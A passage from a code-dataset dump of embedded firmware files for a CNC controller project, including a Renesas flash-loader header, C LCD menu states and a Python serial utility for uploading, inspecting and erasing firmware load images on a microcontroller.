files.\n******************************************************************************/\n/*****************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 22.02.2012 3.00 First Release (introduced in v3.0)\n******************************************************************************/\n\n#ifndef FL_GLOBALS\n#define FL_GLOBALS\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n/* Fixed width types support. */\n#include <stdint.h>\n/* Used for bool. */\n#include <stdbool.h>\n/* Flash Loader types. */\n#include \"r_fl_types.h\"\n\n/******************************************************************************\nShared Global Variables\n******************************************************************************/\n/* Data structure to hold load image headers */\nextern fl_image_header_t g_fl_load_image_headers[];\n/* Declares transmit and receive buffers. The receive buffer\n is for commuincations to the host as well as when reading\n the external memory. This is done to save space. */\nextern uint8_t g_fl_tx_buffer[];\nextern uint8_t g_fl_rx_buffer[FL_CFG_DATA_BLOCK_MAX_BYTES];\n/* Defines the memory where load images will be stored. */\nextern const fl_li_storage_t g_fl_li_mem_info;\nextern const fl_image_header_t *g_app_header;\n\n\n#endif /* FL_GLOBALS */\n" }, { "alpha_fraction": 0.6345981359481812, "alphanum_fraction": 0.6435614228248596, "avg_line_length": 19.788820266723633, "blob_id": "f562356bf6cd02b12080963b2a57817f5a7b2d32", "content_id": "064d6bd2b069ec42f446a950aa84328e72f9eb8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3353, "license_type": "no_license", "max_line_length": 70, "num_lines": 161, "path": "/src/states/ut_state_config_maquina.c", "repo_name": "ustropo/MT01", "src_encoding": "IBM852", "text": "/*\n * ut_state_config_menu.c\n *\n * Created on: Dec 6, 2015\n * Author: Fernando\n */\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"ut_state_config_var.h\"\n#include \"eeprom.h\"\n#include \"config_maquina.h\"\n\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n\n#include \"keyboard.h\"\n#include \"interpreter_if.h\"\n\n#include \"lcd.h\"\n#include \"lcd_menu.h\"\n#include \"state_functions.h\"\n\n#define DEFAULT_CONFIG_TIMEOUT\tportMAX_DELAY\n\nstatic bool initialized = false;\nstatic const char* gszConfigMenuTitle = \"CONFIG. DE M┴QUINA\";\n\n/**\n * Initialize config array\n */\nstatic void init()\n{\n\tuint8_t i,j;\n\n\t/* Check if already initialized */\n\tj = 0;\n\tif(initialized) {\n\t\tfor(i = 0; i < CFG_MAQUINA_MAX; i++)\n\t\t{\n\t\t\tif (g_maq.model == COMPACTA_MAQ)\n\t\t\t{\n\t\t\t\tif (i == CFG_MAQUINA_MODOMAQUINA)\n\t\t\t\t{\n\t\t\t\t\ti++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconfigsMaq[j].name = mq_init_names[j];\n\t\t\tj++;\n\t\t}\n\t\treturn;\n\t}\n\n\t/* Zero all values */\n\tmemset(configsMaq, 0, sizeof(configsMaq));\n\tj = 0;\n\t/* Initialize all variables */\n\tfor(i = 0; i < CFG_MAQUINA_MAX; i++)\n\t{\n\t\tif (g_maq.model == COMPACTA_MAQ)\n\t\t{\n\t\t\tif (i == CFG_MAQUINA_MODOMAQUINA)\n\t\t\t{\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tconfigsMaq[i].type = mq_init_types[i];\n\t\tconfigsMaq[i].valueMax = mq_init_max[i];\n\t\tconfigsMaq[i].valueMin = mq_init_min[i];\n\t\tconfigsMaq[i].name = mq_init_names[i];\n\t\tconfigsMaq[i].unit = mq_init_unit[i];\n\t\tconfigsMaq[i].step = mq_init_step[i];\n\t\tconfigsMaq[i].point = mq_init_point[i];\n\t\tconfigsMaq[i].currentState = STATE_CONFIG_MAQUINA;\n\t\tconfigsMaq[i].currentItem = i;\n\t\tj++;\n\t}\n\tconfigsMaq[0].value = &configVarMaq[CFG_MAQUINA_ALT_DESLOCAMENTO];\n\tif (g_maq.model != COMPACTA_MAQ)\n\t{\n\t\tconfigsMaq[1].value = &configFlags[MODOMAQUINA];\n\t}\n\tinitialized = true;\n}\n\n/**\n * Shows a configuration menu for the machine.\n *\n * @param pContext Context object\n * @return Main menu state\n */\nut_state ut_state_config_maquina(ut_context* pContext)\n{\n\tut_menu config_menu;\n\tuint8_t i,j;\n\n\t/* Initialize variables */\n\tinit();\n\n\t/* Initialize menu */\n\tut_menu_init(&config_menu);\n\n\t/* Options */\n\tconfig_menu.title = gszConfigMenuTitle;\n//\tconfig_menu.offset = 1;\n\t/* Items */\n\tj = 0;\n\tfor(i = 0; i < CFG_MAQUINA_MAX; i++)\n\t{\n\t\tif (g_maq.model == COMPACTA_MAQ)\n\t\t{\n\t\t\tif (i == CFG_MAQUINA_MODOMAQUINA)\n\t\t\t{\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tconfig_menu.items[config_menu.numItems++].text = configsMaq[i].name;\n\t\tj++;\n\t}\n\n\t/* Show menu */\n\tconfig_menu.selectedItem = 0;\n\tif(ut_menu_browse(&config_menu, DEFAULT_CONFIG_TIMEOUT) < 0)\n\t{\n\t\treturn STATE_MAIN_MENU;\n\t}\n\teepromReadConfig(CONFIGVAR_MAQ);\n\tif (g_maq.model == COMPACTA_MAQ)\n\t\t{\n\t\t\tif (config_menu.selectedItem > CFG_MAQUINA_ALT_DESLOCAMENTO)\n\t\t\t{\n\t\t\t\tconfig_menu.selectedItem++;\n\t\t\t}\n\t\t}\n\t/* Set selected item */\n\tpContext->value[0] = STATE_CONFIG_MAQUINA;\n\tconfigsVar = &configsMaq[config_menu.selectedItem];\n\tswitch(config_menu.selectedItem)\n\t{\n\t\tcase CFG_MAQUINA_PARAMETROS:\n\t\t\tut_lcd_output_warning(\"CUIDADO!!!\\nA M┴QUINA IR┴\\nRESETAR\\n\");\n\t\t\tif(delay_esc(2000) == KEY_ESC)\n\t\t\t{\n\t\t\t\txio_close(cs.primary_src);\n\t\t\t\tut_lcd_output_warning(\"COMANDO\\nCANCELADO\\n\");\n\t\t\t\t/* Delay */\n\t\t\t\tvTaskDelay(1000 / portTICK_PERIOD_MS);\n\t\t\t\treturn STATE_CONFIG_MAQUINA;\n\t\t\t}\n\t\t\tconfigsVar->name = \"DESEJA CONTINUAR?\";\n\t\t\tpContext->value[0] = STATE_CONFIG_MAQUINA;\n\t\t\tpContext->value[1] = STATE_CONFIG_PARAMETROS_MAQ;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\n\t}\n\n\treturn geNextStateMaq[config_menu.selectedItem];\n}\n" }, { "alpha_fraction": 0.5371654629707336, "alphanum_fraction": 0.5454331636428833, "avg_line_length": 38.83124923706055, "blob_id": "a253f818bb1b50286a8fd575f0687c9dbd092b55", "content_id": "5f5c4dc9b16560c46a1f67676b7d000da43327af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 25521, "license_type": "no_license", "max_line_length": 180, "num_lines": 640, "path": "/r_flash_loader_rx/utilities/python/r_fl_serial_flash_loader.py", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n'''\n/******************************************************************************\n* DISCLAIMER:\n* The software supplied by Renesas Technology Europe Ltd is\n* intended and supplied for use on Renesas Technology products.\n* This software is owned by Renesas Technology Europe, Ltd. Or\n* Renesas Technology Corporation and is protected under applicable\n* copyright laws. All rights are reserved.\n*\n* THIS SOFTWARE IS PROVIDED \"AS IS\". NO WARRANTIES, WHETHER EXPRESS,\n* IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO IMPLIED\n* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n* APPLY TO THIS SOFTWARE. RENESAS TECHNOLOGY AMERICA, INC. AND\n* AND RENESAS TECHNOLOGY CORPORATION RESERVE THE RIGHT, WITHOUT\n* NOTICE, TO MAKE CHANGES TO THIS SOFTWARE. NEITHER RENESAS\n* TECHNOLOGY AMERICA, INC. NOR RENESAS TECHNOLOGY CORPORATION SHALL,\n* IN ANY CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR\n* CONSEQUENTIAL DAMAGES FOR ANY REASON WHATSOEVER ARISING OUT OF THE\n* USE OR APPLICATION OF THIS SOFTWARE.\n******************************************************************************/\n/* Copyright (C) 2010. Renesas Electronics America, All Rights Reserved */\n/*FILE COMMENT******************************* Technical reference data ****\n* File Name\t\t: FL_SerialFlashLoader.py\n* Description : This application implements the communications protocols\n* from the FlashLoader project. The communications medium\n* is asynchronous serial. The commands that are supported\n* are transferring a new load image (load), erasing a \n* Load Image block (erase), and getting information about\n* what is currently stored on the Device (info).\n******************************************************************************/ \n/******************************************************************************\n* History \t\t: MM.DD.YYYY Version Information\n* : 03.18.2010 Ver. 1.00 First Release - BCH\n* : 09.29.2010 Ver. 2.00 Cleaned up code, made easier to \n* : modify - BCH\n*FILE COMMENT END*************************************************************/\n'''\n#For communicating over serial\nimport serial\n#System specific parameters and functions\nimport sys\n#For string use\nimport string\n#binascii is used for converting from ASCII to binary\nimport binascii\n#Used for unpacking FL_CurAppHeader from S-Record file (like C style struct)\nfrom struct import *\n#This allows us to define the 'struct' that we use later\nfrom collections import namedtuple\n\n#This is the class that handles communication requests\nclass FL_Uploader:\n \n # DEFINEs associated with communications protocol \n # These first two are for initializing communications \n FL_COM_INIT_1 = (0xBC)\n FL_COM_INIT_2 = (0xCD)\n # Acknowledge command \n FL_COM_ACK = (0xB1)\n # Error has occurred \n FL_COM_ERROR = (0xB2)\n # Tells host that transmitted block was corrupted, send again\n FL_COM_RESEND = (0xB3)\n # Tells MCU that host has sent all records \n FL_COM_DONE = (0xB4)\n\n # Command from host for new image to be downloaded \n FL_COM_OP_NEW_IMAGE = (0xD1)\n # Command from host for info on current images \n FL_COM_OP_INFO_REQ = (0xD2)\n # Command from host to erase a load block \n FL_COM_OP_ERASE_BLOCK = (0xD3)\n\n \n # Reply that image is stored, just needs to be flashed \n FL_COM_REP_NEEDS_FLASH = (0xC1)\n # Reply that the requested image is already running \n FL_COM_REP_ALREADY_RUNNING =(0xC2)\n #Reply that there was not enough room for the new image\n FL_COM_REP_NO_ROOM = (0xC3)\n # Reply that max_block_size is too large \n FL_COM_REP_BLOCK_TOO_LARGE= (0xC4)\n # Reply that image is to large to store \n FL_COM_REP_IMAGE_TOO_LARGE= (0xC5)\n \n # Timeout value for initial connection to chip (in seconds)\n FL_COM_TIMEOUT_INIT = (10)\n # Timeout value for communications after device has responded (in seconds)\n FL_COM_TIMEOUT_REG = (70)\n\n\n #If the user wants to change the size of the fields in the Load Image Header or Data Block\n #Header then they can do this below. There is a Python dictionary for each header below\n #with the name of the structure entry and the number of bytes associated with that entry.\n #If for instance you wanted to change the 'image_id' field to be 2 bytes you would change\n #the FL_LI_FORMAT definition below to 'image_id':2\n\n #An array for holding Load Image size format\n FL_LI_FORMAT = {'valid_mask':1, 'image_ID':1, 'version_num':1, 'load_image_size':4, 'max_block_size':4, 'image_crc':2, 'raw_crc':2, 'start_address':4, 'successfully_stored':4 }\n #Number of bytes in Load File Header\n FL_LI_STRUCT_SIZE = sum([i for i in FL_LI_FORMAT.values()])\n #This builds the format string needed. B = byte, H = 2 bytes, L = 4 bytes per entry.\n FL_STRUCT_LI = 'valid_mask image_ID version_num load_image_size max_block_size image_crc raw_crc start_address successfully_stored'\n #Output will produce something like this '<BBBLLHHLL'\n FL_LI_FORMAT_STRING = \"<\"\n for entry in FL_STRUCT_LI.split(' '):\n if FL_LI_FORMAT[entry] == 1:\n FL_LI_FORMAT_STRING += 'B'\n elif FL_LI_FORMAT[entry] == 2:\n FL_LI_FORMAT_STRING += 'H'\n elif FL_LI_FORMAT[entry] == 4:\n FL_LI_FORMAT_STRING += 'L'\n else:\n print 'Error - This code only supports even sized structure objects for Load Image Headers';\n sys.exit()\n\n #An array for holding Block Header size format\n FL_BH_FORMAT = {'valid_mask':1, 'sequence_ID':2, 'flash_address':4, 'data_size':4, 'data_crc':2, 'next_block_address':4}\n #Number of bytes in Data Block Header\n FL_BH_STRUCT_SIZE = sum([i for i in FL_BH_FORMAT.values()]) \n #This builds the format string needed. B = byte, H = 2 bytes, L = 4 bytes per entry.\n FL_STRUCT_BH = 'valid_mask sequence_ID flash_address data_size data_crc next_block_address'\n #Output will produce something like this '<BHLLHL'\n FL_BH_FORMAT_STRING = \"<\"\n for entry in FL_STRUCT_BH.split(' '):\n if FL_BH_FORMAT[entry] == 1:\n FL_BH_FORMAT_STRING += 'B'\n elif FL_BH_FORMAT[entry] == 2:\n FL_BH_FORMAT_STRING += 'H'\n elif FL_BH_FORMAT[entry] == 4:\n FL_BH_FORMAT_STRING += 'L'\n else:\n print 'Error - This code only supports even sized structure objects for Data Block Headers';\n sys.exit()\n \n def __init__(self, port_num=0, op=\"info\", filep=\"\", q=False, eb=-1):\n #Which communications port to use\n self.port = port_num\n #What operation to perform\n self.command = op\n #What file to load (if loading)\n self.filepath = filep\n #Whether or not to print messages of what is going on\n self.quiet = q\n #Which load block to erase\n self.erase_block = eb\n #Open and configure the serial port\n # open first serial port\n self.ser = serial.Serial()\n #Used for processing load image headers\n self.LoadImageHeader = namedtuple('LoadImageHeader', self.FL_STRUCT_LI)\n #Used for processing block headers\n self.BlockHeader = namedtuple('BlockHeader', self.FL_STRUCT_BH)\n \n def execute(self):\n #Assign port to use\n self.ser.port = self.port\n #Set baudrate\n self.ser.baudrate = 115200\n #Set timeout\n self.ser.timeout = self.FL_COM_TIMEOUT_INIT\n \n #Now send what command we want to run \n if self.command == 'info':\n #Get information on load images on MCU\n self.command_info_request()\n \n elif self.command == 'load':\n #Want to send new load image\n self.command_new_image()\n \n elif self.command == 'erase':\n #Want to erase load block\n self.command_erase_block()\n \n print 'DONE.'\n \n #Close port\n self.ser.close() \n\n #Print information about the current setup\n def __str__(self):\n ret = 'FlashLoader Uploader Object\\n\\r'\n ret += 'Port is ' + str(self.ser.portstr) + '\\n\\r'\n ret += 'Filepath is ' + self.filepath + '\\n\\r'\n ret += 'Command is ' + self.command + '\\n\\r'\n return ret\n\n #Read some bytes from serial port\n def read_bytes(self, num_bytes):\n #Setup read\n self.RxBuf = ''\n self.RxBuf = self.ser.read(num_bytes)\n \n #Check for timeout\n if len(self.RxBuf) == 0:\n #Handle timeout\n self.timeout_error()\n\n #A timeout has occurred, exit\n def timeout_error(self):\n # Show error\n print '*** Error - Timeout on Receive ***'\n \n # Close Port\n self.ser.close()\n \n # Exit\n sys.exit()\n\n #Lets the Device know that a new command is coming in\n def send_initialization(self):\n #Try to open desired communication port\n try:\n self.ser.open()\n except serial.SerialException as inst:\n print 'Error - ', inst\n sys.exit()\n \n if self.quiet == False:\n print 'Opened communications on ' + self.ser.name + ' at ' + str(self.ser.baudrate) + ' baud' \n \n #Start communications with MCU\n #Send first communications init message\n self.ser.write(chr(self.FL_COM_INIT_1))\n #Send second communications init message\n self.ser.write(chr(self.FL_COM_INIT_2))\n \n if self.quiet == False: \n print '-Sent Communication Initialization Messages'\n\n #This command requests the Device to erase a given Load Image partition\n def command_erase_block(self):\n #Check to make sure valid erase block # was given.\n #Number cannot be negative and is limited to 1 byte (0 - 255)\n if self.erase_block < 0 or self.erase_block > 255:\n print 'Error - Invalid block # (must be in range 0 - 255)'\n return\n \n #Send init messages to MCU\n self.send_initialization()\n \n #Send erase request to MCU\n self.ser.write(chr(self.FL_COM_OP_ERASE_BLOCK))\n \n if self.quiet == False:\n print '-Sent Erase Block Request. Waiting for response.'\n \n #Now wait for ACK\n self.read_bytes(1)\n \n #Check response\n if self.RxBuf[0] != chr(self.FL_COM_ACK):\n print '-->Received Error Response - Invalid command (block erase)'\n return\n elif self.RxBuf[0] == chr(self.FL_COM_ACK):\n if self.quiet == False:\n print '-->Received ACK - Ready for block number to erase.'\n else:\n print 'Error - Erase Block - Received unknown response from MCU'\n return \n \n #Send which load block to erase\n self.ser.write(chr(self.erase_block))\n \n #Set longer timeout value for further communications\n self.ser.timeout = self.FL_COM_TIMEOUT_REG\n \n if self.quiet == False:\n print '-Sent request to erase block 0x%02X' % self.erase_block\n \n #Now wait for reply\n self.read_bytes(1)\n \n #Check response\n if self.RxBuf[0] != chr(self.FL_COM_ACK):\n print '-->Received Error Response - Invalid erase block number'\n elif self.RxBuf[0] == chr(self.FL_COM_ACK):\n print '-->Received ACK - Erase Done.'\n else:\n print 'Error - Erase Block - Received unknown response from MCU' \n \n #This command requests information from the Device about what images\n #it currently has.\n def command_info_request(self):\n #Send init messages to MCU\n self.send_initialization()\n \n #Send information request to MCU\n self.ser.write(chr(self.FL_COM_OP_INFO_REQ))\n \n if self.quiet == False:\n print '-Sent Information Request. Waiting for response.' \n \n #Now wait for information\n #First will be a byte that tells how many more bytes are coming\n self.read_bytes(1)\n \n if self.quiet == False:\n print '-->Repsonse Good - Now receive ' + str(ord(self.RxBuf)) + ' bytes' \n \n #Get number of LI headers\n numLIH = ord(self.RxBuf) / self.FL_LI_STRUCT_SIZE\n \n #Receive headers\n self.read_bytes(ord(self.RxBuf))\n \n if self.quiet == False:\n print '-->Received Headers. Decoding and printing...'\n \n i = 0\n while i < numLIH: \n #Decode current image header\n header = self.LoadImageHeader._make(unpack(self.FL_LI_FORMAT_STRING, self.RxBuf[self.FL_LI_STRUCT_SIZE*i:(self.FL_LI_STRUCT_SIZE*i)+self.FL_LI_STRUCT_SIZE]))\n if i == 0:\n #First header is current image\n print 'Current Running Image Info:'\n else:\n #Rest of images are load images on external memory\n print 'External Memory - Load Image ' + str(i)\n \n print ' Valid Mask = ' + (\"0x%0\" + str(self.FL_LI_FORMAT['valid_mask']*2) + \"x\") % header.valid_mask\n print ' Image ID = ' + (\"0x%0\" + str(self.FL_LI_FORMAT['image_ID']*2) + \"x\") % header.image_ID\n print ' Version # = ' + (\"0x%0\" + str(self.FL_LI_FORMAT['version_num']*2) + \"x\") % header.version_num\n print ' Size of Load Image = ' + (\"0x%0\" + str(self.FL_LI_FORMAT['load_image_size']*2) + \"x\") % header.load_image_size\n print ' Max Block Size = ' + (\"0x%0\" + str(self.FL_LI_FORMAT['max_block_size']*2) + \"x\") % header.max_block_size\n print ' Image CRC = ' + (\"0x%0\" + str(self.FL_LI_FORMAT['image_crc']*2) + \"x\") % header.image_crc\n print ' Raw CRC (as in MCU) = ' + (\"0x%0\" + str(self.FL_LI_FORMAT['raw_crc']*2) + \"x\") % header.raw_crc\n print ' Start Address = ' + (\"0x%0\" + str(self.FL_LI_FORMAT['start_address']*2) + \"x\") % header.start_address\n print ' Successfully Stored? = ' + (\"0x%0\" + str(self.FL_LI_FORMAT['successfully_stored']*2) + \"x\") % header.successfully_stored\n \n i += 1\n \n print ''\n print 'All load images have been downloaded.'\n\n #This command requests that the Device download a new Load Image\n def command_new_image(self):\n \n #Try to open load file\n try:\n rd_file = open(self.filepath, \"rb\")\n except:\n print 'Error - ', self.filepath, ' is not a valid file.'\n return\n \n #Send init messages to MCU\n self.send_initialization()\n \n #Send new image request to MCU\n self.ser.write(chr(self.FL_COM_OP_NEW_IMAGE))\n \n if self.quiet == False:\n print '-Sent New Image Upload Request. Waiting for response.'\n \n #Now wait for information\n #First there will be an acknowledgement to send the header\n self.read_bytes(1)\n \n if self.quiet == False:\n print '-->Received response, 0x' + self.RxBuf[0].encode(\"hex\")\n \n #Check for acknowledgement\n if self.RxBuf[0] != chr(self.FL_COM_ACK):\n print 'Error - Acknowledgement not received'\n rd_file.close()\n sys.exit()\n \n if self.quiet == False:\n print '-->Received Acknowledgement!'\n print '-Sending new image header.'\n \n \n #Now send new header\n try:\n self.ser.write(rd_file.read(self.FL_LI_STRUCT_SIZE))\n except:\n print 'Error in file ', self.filepath\n rd_file.close()\n sys.exit()\n \n #Set longer timeout value for further communications\n self.ser.timeout = self.FL_COM_TIMEOUT_REG\n \n #Wait for response\n self.read_bytes(1)\n \n #Check response\n if self.RxBuf[0] == chr(self.FL_COM_ACK):\n #Wait for sequence ID\n self.read_bytes(self.FL_BH_FORMAT['sequence_ID'])\n print '-->Reply=Ready for image, start with block 0x' + self.RxBuf[1].encode(\"hex\") + self.RxBuf[0].encode(\"hex\")\n elif self.RxBuf[0] == chr(self.FL_COM_REP_ALREADY_RUNNING):\n print '-->Reply=The input load image is already running on the MCU.'\n sys.exit()\n elif self.RxBuf[0] == chr(self.FL_COM_REP_NEEDS_FLASH):\n print '-->Reply=The MCU has the image, it just needs to flash it in.'\n sys.exit()\n elif self.RxBuf[0] == chr(self.FL_COM_REP_NO_ROOM):\n print '-->Reply=Not enough room to store new image.'\n sys.exit()\n elif self.RxBuf[0] == chr(self.FL_COM_REP_BLOCK_TOO_LARGE):\n print '-->Reply=Max block size is too large. Convert S-Record file again with a smaller max block size.'\n sys.exit()\n elif self.RxBuf[0] == chr(self.FL_COM_REP_IMAGE_TOO_LARGE):\n #Now get largest image size\n size = 0\n self.read_bytes(4)\n size |= ord(self.RxBuf[0])\n size |= ord(self.RxBuf[1]) << 8\n size |= ord(self.RxBuf[2]) << 16\n size |= ord(self.RxBuf[3]) << 24\n print '-->Reply=The load image is too large and cannot be stored. Max size per image is %d bytes (decimal)' % size \n sys.exit()\n else:\n print '-->Reply=Unknown Command'\n print 'Error - Unknown command received.'\n rd_file.close()\n sys.exit() \n \n #Get sequence ID\n seqIDString = \"\"\n i = self.FL_BH_FORMAT['sequence_ID']-1\n while i >= 0:\n seqIDString += '%02x' % ord(self.RxBuf[i])\n i -= 1\n seq_id = int(seqIDString,16)\n \n #Find requested block in file\n self.FindBlock(seq_id, rd_file) \n \n #Send block header \n try:\n #Read current block header\n tx_buf = rd_file.read(self.FL_BH_STRUCT_SIZE)\n except:\n print 'Error - Invalid File'\n rd_file.close()\n sys.exit()\n \n #Send block until you reach EOF()\n while tx_buf != \"\":\n\n #Decode block header\n bheader = self.BlockHeader._make(unpack(self.FL_BH_FORMAT_STRING, tx_buf))\n \n if self.quiet == False: \n print '-Sending block with sequence ID ' + \"0x%04x\" % bheader.sequence_ID\n \n #Send block header\n self.ser.write(tx_buf)\n \n #Wait for response\n self.read_bytes(1)\n \n if self.RxBuf[0] != chr(self.FL_COM_ACK):\n print 'Error - Unknown Response from MCU - Was sending blocks, expected ACK'\n rd_file.close()\n sys.exit()\n \n try:\n #Read in data\n tx_buf = rd_file.read(bheader.data_size)\n except:\n print 'Error - Invalid File'\n rd_file.close()\n sys.exit()\n \n #Send data to MCU\n self.ser.write(tx_buf)\n \n #Wait for response\n #Will send ACK and next seq_id if it transmitted successfully\n #Will send RESEND and same seq_id if error occurred during transmission\n self.read_bytes(1 + self.FL_BH_FORMAT['sequence_ID'])\n \n if self.RxBuf[0] == chr(self.FL_COM_RESEND):\n #Move file back and resend again\n rd_file.seek(-1*(bheader.data_size + self.FL_BH_STRUCT_SIZE),1)\n if self.quiet == False:\n print '-->Reply = Error, resend block'\n elif self.RxBuf[0] == chr(self.FL_COM_ACK):\n #Data was received without error, move to next seq_id\n seqIDString = \"\"\n i = self.FL_BH_FORMAT['sequence_ID']\n while i > 0:\n seqIDString += '%02x' % ord(self.RxBuf[i])\n i -= 1\n re_seq_id = int(seqIDString,16)\n if re_seq_id != (bheader.sequence_ID + 1):\n print 'Error - MCU requested non-incremental sequence ID during block transfers'\n rd_file.close()\n sys.exit()\n if self.quiet == False:\n print '-->Reply = Block transmitted fine, move to next'\n else:\n #Unknown response\n print 'Error - Unknown response from MCU - Expected ACK or RESEND'\n rd_file.close()\n sys.exit()\n \n try:\n #Read current block header\n tx_buf = rd_file.read(self.FL_BH_STRUCT_SIZE)\n except:\n print 'Error - Invalid File'\n rd_file.close()\n sys.exit()\n\n \n #File has been sent, let MCU know it is finished\n #The MCU is expecting another header so we fill a buffer the size of\n #header with FL_COM_DONE's\n self.ser.write(binascii.unhexlify(''.join(self.FL_BH_STRUCT_SIZE*[\"%02x\" % self.FL_COM_DONE])))\n \n #Receive final DONE signal\n self.read_bytes(1)\n \n #Check for error\n if self.RxBuf[0] != chr(self.FL_COM_DONE):\n print 'Error - Unexpected response when trying to finish - Expected FL_COM_DONE but got ' + \"0x%02x\" % ord(self.RxBuf[0])\n rd_file.close()\n sys.exit()\n \n print 'File transferred successfully!'\n \n #Close file\n rd_file.close()\n \n #Finds a Data Block in a file you want to send. This is used \n #for when processing a retry.\n def FindBlock(self, seq_id, file):\n \n #Read first block header\n try:\n bheader_str = file.read(self.FL_BH_STRUCT_SIZE)\n except:\n print 'Error - Invalid File - No block headers.'\n sys.exit()\n \n #Check read\n if len(bheader_str) < self.FL_BH_STRUCT_SIZE:\n print 'Error - Invalid File - Sequence ID not found'\n sys.exit()\n \n #Decode block header\n bheader = self.BlockHeader._make(unpack(self.FL_BH_FORMAT_STRING, bheader_str)) \n\n #Loop through file looking for the sequence_ID sent in\n while seq_id != bheader.sequence_ID:\n \n #This is not the block we want, so skip to next block\n try:\n \n #Move forward in file to next block\n file.seek(bheader.data_size, 1) \n \n #Read next header\n bheader_str = file.read(self.FL_BH_STRUCT_SIZE)\n \n #Check read\n if len(bheader_str) < self.FL_BH_STRUCT_SIZE:\n print 'Error - Invalid File - Sequence ID not found'\n sys.exit()\n \n #Decode block header\n bheader = self.BlockHeader._make(unpack(self.FL_BH_FORMAT_STRING, bheader_str))\n except:\n print 'Error - Invalid File'\n sys.exit()\n \n #Adjust file being read back to start of this block\n file.seek(-1 * self.FL_BH_STRUCT_SIZE, 1)\n \n \n\n\n\nif __name__ == '__main__':\n from optparse import OptionParser\n \n parser = OptionParser(\n description = \"FlashLoader Uploader - Upload new load image to MCU over Asynchronous Serial\"\n )\n \n parser.add_option(\"-f\", \"--file\",\n dest=\"filename\",\n action=\"store\",\n help=\"The path to the file you want to upload.\",\n default = None,\n metavar=\"FILE\"\n )\n \n parser.add_option(\"-p\", \"--port\",\n dest=\"port_num\",\n action=\"store\",\n type= 'int',\n help=\"The port number to use for communications\",\n default = None,\n metavar=\"Port#\"\n )\n \n parser.add_option(\"-c\", \"--command\",\n dest=\"command\",\n action=\"store\",\n type=\"choice\",\n choices=(\"info\",\"load\",\"erase\"),\n help=\"The command you want to execute [info, load, erase]\",\n default=\"info\",\n metavar=\"command\"\n )\n \n parser.add_option(\"-q\", \"--quiet\",\n dest=\"quiet\",\n action=\"store_true\",\n help=\"If specified, messages will be suppressed.\",\n default=False\n )\n \n parser.add_option(\"-b\", \"--block\",\n dest=\"erase_block\",\n action=\"store\",\n type= 'int',\n help=\"The load block you want to erase\",\n default = -1,\n metavar=\"BLOCK\"\n )\n \n if len(sys.argv) == 1:\n parser.print_help()\n sys.exit()\n else:\n (options, args) = parser.parse_args()\n \n #Initialize class\n fl = FL_Uploader(options.port_num, options.command, options.filename, options.quiet, options.erase_block) \n \n #Do command\n fl.execute()\n \n \n \n\n \n" }, { "alpha_fraction": 0.5202390551567078, "alphanum_fraction": 0.5332790017127991, "avg_line_length": 26.066177368164062, "blob_id": "e5fcdb0bbe19224b8a5b2f72a264da6a1945ead4", "content_id": "8f4180e18b734894354d2fc11fe767e63b16aeb3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3681, "license_type": "no_license", "max_line_length": 95, "num_lines": 136, "path": "/src/states/ut_state_line_selection.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * ut_state_line_selection.c\n *\n * Created on: Mar 22, 2016\n * Author: Leonardo\n */\n\n#include \"tinyg.h\"\t\t\t// #1\n#include \"config.h\"\t\t\t// #2\n#include \"gcode_parser.h\"\n#include \"macros.h\"\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"ff.h\"\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"interpreter_if.h\"\n\n#include \"lcd_menu.h\"\n#include \"lcd.h\"\n\n#include <string.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#define NUM_ENTRIES 20\n#define DEFAULT_CONFIG_TIMEOUT\tportMAX_DELAY\n\n// ***********************************************************************\n// Global variables\n// ***********************************************************************\nuint32_t lineNumEntry[NUM_ENTRIES];\nuint16_t index = 0;\nextern uint32_t actualLine;\nextern uint32_t previousLine;\nextern uint32_t choosedLine;\nextern uint32_t choosedLinePosition;\n\n// ***********************************************************************\n// Internal variables\n// ***********************************************************************\nstatic const char* gszConfigMenuTitle = \"SELECIONAR LINHA\";\n\n// ***********************************************************************\n// Global types\n// ***********************************************************************\n\n\n// ***********************************************************************\n// Global functions\n// ***********************************************************************\n\n\n// ***********************************************************************\n// Public functions\n// ***********************************************************************\n\n/**\n * Select a M5 entry point G\n * @param pContext\n * @return\n */\nut_state ut_state_line_selection(ut_context* pContext)\n{\n\tuint8_t i = 0;\n\tut_menu config_line;\n\tstat_t status;\n\tchar Str[20][20];\n\txio_open(cs.primary_src,0,0);\n\tif(uspiffs[0].f < 0)\n\t{\n\t\txio_close(cs.primary_src);\n\t\tut_lcd_output_warning(\"NENHUM ARQUIVO\\n\\\n\t\t\t\t\t\t\t CARREGADO\\n\");\n\n\t\tvTaskDelay(2000 / portTICK_PERIOD_MS);\n\t}\n\telse\n\t{\n\t\t/* Initialize menu */\n\t\tut_lcd_output_warning(\"LENDO ARQUIVO\\n\");\n\t\tiif_bind_line_selection();\n\t\tut_menu_init(&config_line);\n\t\tchoosedLinePosition = 0;\n\t\tchoosedLine = 0;\n\t\t/* Options */\n\t\tconfig_line.title = gszConfigMenuTitle;\n\t\tconfig_line.currentState = STATE_LINE_SELECTION;\n\t\tindex = 0;\n\t\tmemset(lineNumEntry,0xFFFFFFFF,sizeof(lineNumEntry));\n\t\tparse_gcode_func_selection(LINE_PARSER);\n\t\tmacro_func_ptr = command_idle;\n\t\txio_close(cs.primary_src);\n\t\txio_open(cs.primary_src,0,0);\n\t\twhile (true) {\n\t\t\tif ((status = xio_gets(cs.primary_src, cs.in_buf, 